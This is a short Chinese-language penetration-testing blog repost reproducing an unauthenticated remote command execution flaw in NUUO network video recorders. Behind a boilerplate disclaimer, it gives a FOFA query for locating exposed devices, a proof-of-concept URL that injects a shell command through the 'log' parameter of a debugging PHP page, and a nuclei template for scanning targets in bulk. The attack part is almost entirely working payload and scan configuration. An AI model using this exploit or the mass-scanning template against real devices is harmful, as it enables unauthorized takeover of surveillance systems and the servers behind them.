一、免责声明：
本次文章仅限个人学习使用，如有非法用途均与作者无关，且行且珍惜；由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号望雪阁及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除整改并向您致以歉意。谢谢！
二、产品介绍：
NUUO Network Video Recorder（NVR）是中国台湾NUUO公司的一款网络视频记录器。NUUO NVR视频存储管理设备__debugging_center_utils___.php存在未授权远程命令执行漏洞，攻击者可在没有任何权限的情况下通过log参数执行任意PHP代码，从而入侵服务器，获取服务器的管理员权限。
三、资产梳理：
fofa： title="Network Video Recorder Login"
四、漏洞复现：
五、POC：
http://127.0.0.1:8080/__debugging_center_utils___.php?log=;idnuclei：批量：
id: NUUO_rceinfo:name: NUUO_rceauthor: joyboyseverity: criticaldescription: http://xxx.xxx.xxx/__debugging_center_utils___.php?log=;idmetadata:: title="Network Video Recorder Login"verified: truetags: rcerequests:raw:|GET /__debugging_center_utils___.php?log=;id HTTP/1.1Host: {{Hostname}}matchers:type: dslcondition: anddsl:'contains((body), "uid") && status_code == 200'
原文始发于微信公众号（fly的渗透学习笔记）：NUUO 摄像头远程命令执行漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论